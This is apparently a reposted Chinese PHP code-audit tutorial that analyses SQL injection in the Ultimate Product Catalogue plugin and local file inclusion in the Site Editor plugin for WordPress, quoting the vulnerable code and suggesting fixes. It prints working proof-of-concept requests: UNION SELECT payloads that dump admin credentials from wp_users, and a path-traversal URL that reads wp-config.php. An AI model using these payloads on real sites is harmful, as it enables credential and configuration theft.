当前位置:   article > 正文

7-PHP代码审计——wordpress插件漏洞分析

wordpress插件漏洞

目录

1. wordpress插件漏洞

3. Ultimate Produce Catalogue插件SQL注入漏洞

 3. Site Editor插件本地文件包含漏洞 


 

1. wordpress插件漏洞

wordpress本身的安全性是比较完善的,通常安全审计中大部分的漏洞都是来自wordpress安装的第三方插件,wordpress并不保证这些插件的安全性,因为第三方插件都是由其他的开发者编写的,插件的安全性取决于开发者的水平和安全意识,毕竟每个开发者的安全意识是不一样的。

因此在进行wordpress漏洞挖掘的时候,从插件入手分析是一个不错的选择。

 

在分析wordpress插件漏洞的环境以及用到的插件:

Ultimate Produce Catalogue4.2.2插件的sql注入

site-editor1.1.1插件的本地文件包含

本次实验环境使用的是WordPress 4.9版本

 

Ultimate Produce Catalogue插件SQL注入漏洞实验环境的POC

/wp-admin/admin-ajax.php?action=get_upcp_subcategories

CatID=0 UNION SELECT 1,user()

CatID=0 UNION SELECT user_login,user_pass from wp_users where id=1

 

3. Ultimate Produce Catalogue插件SQL注入漏洞

 

搭建好漏洞环境后,登录wordpress后台后,在左侧点击插件---> 安装插件:

 

 

安装插件的时候选择zip格式的文件,安装完成后启用插件

 

安装完插件后需要登录用户账号,然后访问http://www.test2.com/wp-admin/admin-ajax.php?action=get_upcp_subcategories,并提交数据:

Post data中是一段sql注入代码,查询当前数据库的用户,点击Execute提交数据后,后台返回了数据库的用户名信息。

 

接着我们就可以构造sql注入语句爆出用户名和密码,但是密码是经过加密的:

 

 

接下来我们分析插件产生漏洞的原因。

先找到wordpress的插件的目录,找到安装的插件ultimate-product-catalogue,再定位到get_upcp_subcategories函数(路径为plugins\ultimate-product-catalogue\Functions\Process_Ajax.php)

 

get_upcp_subcategories函数具体实现:

  1. function Get_UPCP_SubCategories() {
  2. global $subcategories_table_name;
  3. $Path = ABSPATH . 'wp-load.php';
  4. include_once($Path);
  5. global $wpdb;
  6. $SubCategories = $wpdb->get_results("SELECT SubCategory_ID, SubCategory_Name FROM $subcategories_table_name WHERE Category_ID=" . $_POST['CatID']);
  7. foreach ($SubCategories as $SubCategory) {
  8. $Response_Array[] = $SubCategory->SubCategory_ID;
  9. $Response_Array[] = $SubCategory->SubCategory_Name;
  10. }
  11. if (is_array($Response_Array)) {
  12. $Response = implode(",", $Response_Array);
  13. }
  14. else {$Response = "";}
  15. echo $Response;
  16. }

get_upcp_subcategories函数内部只接收了一个CatID数据,而CatID中的数据就是我们提交的sql注入语句,代码中没有对CatID中的内容进行任何安全过滤,直接将CatID拼接到sql语句中执行,将查询到的数据库用户名保存到$SubCategories变量中。

 

漏洞修复:对传入的数据进行预处理再拼接成sql语句

$wpdb->get_results($wpdb->prepare( "SELECT * FROM {$wpdb->comments} WHERE comment_ID = %d", $comment_id))

 

 3. Site Editor插件本地文件包含漏洞 

 

poc:

/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=../../../../../../../test.txt

 

Site Editor插件的安装方式和前面的一样。如果提示文件过大,把Site Editor插件解压到\wp-content\plugins目录下,然后在wordpress的后台的插件一栏中启用Site Editor。

 

利用site editor插件的本地文件包含漏洞通过../来读取test.txt文本的内容,最终构造的url格式:

把test.txt文件名进行替换就可以读取其它文件,例如读取wp-config.php:

http://www.test2.com/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=../../../../../../../wp-config.php

 

 

接下来我们分析Site Editor插件的本地文件包含漏洞产生的原因。找到\plugins\site-editor\editor\extensions\pagebuilder\includes\ajax_shortcode_pattern.php文件

  1. //判断是否是文件,文件是否存在
  2. if( isset( $_REQUEST['ajax_path'] ) && is_file( $_REQUEST['ajax_path'] ) && file_exists( $_REQUEST['ajax_path'] ) ){
  3. //如果存在直接包含文件
  4. require_once $_REQUEST['ajax_path'];
  5. }else{
  6. echo json_encode( array(
  7. 'success' => false,
  8. 'message' => "Error: didn't load shortcodes pattern file",
  9. )
  10. );
  11. return ;
  12. }

我们可以看到上面的代码只是对ajax_path参数中的内容进行了简单的判断,并没有做任何安全校验,这才导致了本地文件包含漏洞。

 

 

漏洞修复:使用白名单对提交的参数过滤。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/天景科技苑/article/detail/734743
推荐阅读
相关标签
  

闽ICP备14008679号